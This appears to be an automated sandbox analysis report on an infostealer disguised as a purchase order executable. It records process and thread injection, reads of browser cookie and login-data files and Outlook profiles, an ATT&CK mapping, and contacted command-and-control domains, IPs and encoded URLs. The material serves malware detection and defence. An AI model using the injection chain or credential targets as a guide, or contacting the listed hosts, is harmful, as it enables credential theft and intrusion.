Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtOpenFile: Direct from: 0x77762DCC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtOpenKeyEx: Direct from: 0x77762B9C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtSetInformationProcess: Direct from: 0x77762C5C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtProtectVirtualMemory: Direct from: 0x77762F9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\grpconv.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: NULL target: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: NULL target: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\grpconv.exe

Thread register set: target process: 7936

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\grpconv.exe

Thread APC queued: target process: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2A5B008

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

0_2_0040D590

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: Purchase Order_ AEPL-2324-1126.exe, JkyHsYXxoyjW.exe, 00000003.00000002.3864797915.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000000.1519795840.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3865099185.0000000001290000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: svchost.exe, 00000002.00000003.1596207588.000000000301A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1596658465.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FSoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders".lnk%HOMEDRIVE%%HOMEPATH%.pif%USERPROFILE%setup.iniprogman.groupsprogman.onlydesktop.groupsstartup.groupssendto.groupsrecentdocs.groupsSoftware\Microsoft\Windows\CurrentVersionPreConvRenameFilesDeleteFilesRenameFilesSoftware\Microsoft\Windows\CurrentVersion\GrpConv/o-o.grpExceptionReturnHrLogHrFailFast%hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)]
Source: JkyHsYXxoyjW.exe, 00000003.00000002.3864797915.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000000.1519795840.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3865099185.0000000001290000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: JkyHsYXxoyjW.exe, 00000003.00000002.3864797915.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000000.1519795840.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3865099185.0000000001290000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: JkyHsYXxoyjW.exe, 00000003.00000002.3864797915.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000000.1519795840.0000000000EF0000.00000002.00000001.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3865099185.0000000001290000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: svchost.exe, 00000002.00000003.1596658465.000000000302E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000002.3863139699.0000000000868000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FileDescriptionWindows Progman Group Converterh$

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\grpconv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: WIN_XP
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: WIN_XPe
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: WIN_VISTA
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: WIN_7
Source: Purchase Order_ AEPL-2324-1126.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase Order_ AEPL-2324-1126.exe	27%	Virustotal		Browse
Purchase Order_ AEPL-2324-1126.exe	100%	Avira	HEUR/AGEN.1321886
Purchase Order_ AEPL-2324-1126.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.solisbysobha.net	0%	Virustotal	Browse
bluegirls.blog	0%	Virustotal	Browse
zz82x.top	2%	Virustotal	Browse
chalet-tofane.net	8%	Virustotal	Browse
natroredirect.natrocdn.com	0%	Virustotal	Browse
cluster580fc23f.abcty2.com	0%	Virustotal	Browse
tempatmudisini01.click	5%	Virustotal	Browse
ghs.googlehosted.com	0%	Virustotal	Browse
www.deefbank.net	0%	Virustotal	Browse
kovallo.cloud	0%	Virustotal	Browse
www.bluegirls.blog	0%	Virustotal	Browse
www.greekhause.org	0%	Virustotal	Browse
www.tempatmudisini01.click	7%	Virustotal	Browse
www.chalet-tofane.net	2%	Virustotal	Browse
www.kovallo.cloud	1%	Virustotal	Browse
www.085bet.xyz	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.deefbank.net/i06p/	0%	Avira URL Cloud	safe
http://www.bluegirls.blog/7m8b/	0%	Avira URL Cloud	safe
http://www.tempatmudisini01.click/phdl/	100%	Avira URL Cloud	malware
http://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo2Uxd0f+FrZwD+wtTCitgNQzIzPqlhTclUhz8bxA3FGZPimHZW40XTk/UgPnbZQA2uTwzCdxs&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.bodegamayorista.online/8xob/?76=A14vC586VW4zZwTD5W+icFgZA3/gFFWkfN+k13nedPAvAgeoNHQOmzzfD2mClB7mOSU9pQTtzUjUfjrPrdgjVCIgZM4LbXLF8ymXXAVuMS/ObX4kzH9c4ewBdY7tnGrMOo/XDCkVFvSq&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.zz82x.top/2lu6/	0%	Avira URL Cloud	safe
http://www.greekhause.org/gxfy/	0%	Avira URL Cloud	safe
http://www.rtpngk.xyz/yhsl/	0%	Avira URL Cloud	safe
http://www.donante-de-ovulos.biz/8dtf/	0%	Avira URL Cloud	safe
http://www.085bet.xyz/1zd7/	0%	Avira URL Cloud	safe
http://www.2024tengxun361.buzz/xedw/	0%	Avira URL Cloud	safe
http://www.085bet.xyz/1zd7/?76=bC1YIRSSuZYlVnS9hsNuhorKbcQ6ntdnx8KhpmCqECpWzN5SjPNMNLi+QdUYzo4UT/zMJg8CHwvIOMobHOZol4uZ599UMLQvIcSN6ebgMaMOQVLVUFO0QXCtqgKNb3wKU9pkkDiIxWQO&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
https://www.deefbank.net/i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCb	0%	Avira URL Cloud	safe
http://www.chalet-tofane.net/uesf/	0%	Avira URL Cloud	safe
http://www.sppsuperplast.online/hel6/	0%	Avira URL Cloud	safe
http://www.kovallo.cloud/ye3m/?mtJD_=fvdlJ2L&76=BO45+0u1emCE8p481TGhlGJRfjijEniKMfSBNkuCyA4PSNUX9OtmTTSsRjXRpS6xcva9ZoEmbKYu7sV13UJQ2VHV0V6wg3gLfDQvPBhIAhk7jspRbUMiRCt8g415t+g4yzmjfyP2O5kn	0%	Avira URL Cloud	safe
http://www.bodegamayorista.online	0%	Avira URL Cloud	safe
http://www.sppsuperplast.online/hel6/?76=o5DytMykkaK7sxNXVTYwbJ0nas7Lrf6+xSFmwBlJgutuTdBVL+3Ld5pnGP5bgJpbKreJsN3lh4gHWJ53LIGu8bA2yj0UpLyBdZ5DgjAe+Y8tl6D74j+Er65lZkEVlLJH6zUxwY6EHphi&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.bodegamayorista.online/8xob/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://www.google.com	0%	Avira URL Cloud	safe
http://www.mistsui.top/r48b/	0%	Avira URL Cloud	safe
http://www.zz82x.top/2lu6/?76=PbAz0EfTKowYn11d9L8KeIyoxyngBHbvlbcT88jVQuwl479Ud/v94CC+Ex+uZY8Wq5vHWUIm1erRj2VcHYbUz5WJs9RaUjKCQ9bJpumP+lrR5hAi4gPt8UgQTkM/uAhjmqXAbZ9LXA/l&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.solisbysobha.net/s5b1/?mtJD_=fvdlJ2L&76=Yf0zZ3jBoCdhuzLDLj91Ws8HprJqzGXqNpWi9hWRQAr/e4SYtEvUr1BCdCQtsdxZ1OdzkDb6zzma4zXRjMwopMxEpmqXXuUrncqDeB64G5UYzEp6MWYeviVvJyEh+kzS7xrr7DyksnLe	0%	Avira URL Cloud	safe
http://www.chalet-tofane.net:80/uesf/?76=z4JBjkhdawOvrgQ3/n9w4VhuG3	0%	Avira URL Cloud	safe
http://www.greekhause.org/gxfy/?76=CIIanhHRMgNozks5RGfJdUNX3+emzbgNf/VP7kRsN6vN0WzMvG3G9UIg+8jiJKvurCAh0c8eANy2Q8bdeXyR4StCmoJcjfzG5pIm3u+OPQ8SG4xTUPnFxO8c++BkIyDygdbta7ejYT5g&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.2024tengxun361.buzz/xedw/?mtJD_=fvdlJ2L&76=iU86b+DQDkc5+HCYi3wksyID7wIiKcPt1qIOrYUg5TrYQuRHlXYNPzVksVl/dHByk+JFXw+Aj1EfBi5c9qhjsEIOS1JRVa1wxHxBhUP989bRn8j6x1DUcRzlbseaRz6IPahZbjf8tblS	0%	Avira URL Cloud	safe
http://tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZm	100%	Avira URL Cloud	malware
http://www.donante-de-ovulos.biz/8dtf/?76=n4Dn6BhRGXgBCc8VvzeMEOXmG0Elz5lGLePoshfoMkwgvj9XBMT8fCSzJRDbu+yD5cpoNGctvaCBzFD7eo0ZE+1Jdoxfd5POcRUtDqQJ70nv82NNqRSJamvbeDYUZbHlz6Y0RwscVapw&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.bluegirls.blog/7m8b/?76=TUpvsdJ0cs84UNNTqqi2wOMj02pU6E0u1A17Lrv5qeBoN9jB/n++wLdBNnRIp/FdR+Ur2HOcuniO4FwpOA1JnwQ/5G5V4geMmZeqJSORp3yZ3MMA5ZHYDD9/sYl5a677eMHhDnCl+rJp&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZmExioktz4vqZ0cfToK8eCYqJupED41Yr5DEkLX4m9t/uleGnewHbryEHDsS5u5fKmXjTxI+rab/4BaXG&mtJD_=fvdlJ2L	100%	Avira URL Cloud	malware
https://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo	0%	Avira URL Cloud	safe
http://www.mistsui.top/r48b/?76=+EEyxXn2ifp2lL4tSgcDej4IKTVVubAXRia9ZGYNaFbCIrCUSrCroJ1ltkc3MgDLuvAkyd1hc3+ySf3CEzuTuCrdjxUcb6kt1JtpL21e+JT78DJZMGSekOhJaCk+Ht+qyblm0D0jZ5Dr&mtJD_=fvdlJ2L	0%	Avira URL Cloud	safe
http://www.solisbysobha.net/s5b1/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bodegamayorista.online	84.32.84.32	true	true		unknown
www.solisbysobha.net	198.50.252.64	true	true	0%, Virustotal, Browse	unknown
bluegirls.blog	195.110.124.133	true	true	0%, Virustotal, Browse	unknown
chalet-tofane.net	62.149.128.40	true	true	8%, Virustotal, Browse	unknown
zz82x.top	38.47.232.196	true	true	2%, Virustotal, Browse	unknown
natroredirect.natrocdn.com	85.159.66.93	true	true	0%, Virustotal, Browse	unknown
cluster580fc23f.abcty2.com	154.198.53.36	true	true	0%, Virustotal, Browse	unknown
tempatmudisini01.click	103.21.221.4	true	true	5%, Virustotal, Browse	unknown
www.rtpngk.xyz	188.114.97.3	true	true		unknown
www.2024tengxun361.buzz	154.38.114.205	true	true		unknown
greekhause.org	3.33.130.190	true	true		unknown
www.mistsui.top	162.0.238.246	true	true		unknown
kovallo.cloud	81.2.196.19	true	true	0%, Virustotal, Browse	unknown
www.donante-de-ovulos.biz	199.59.243.227	true	true		unknown
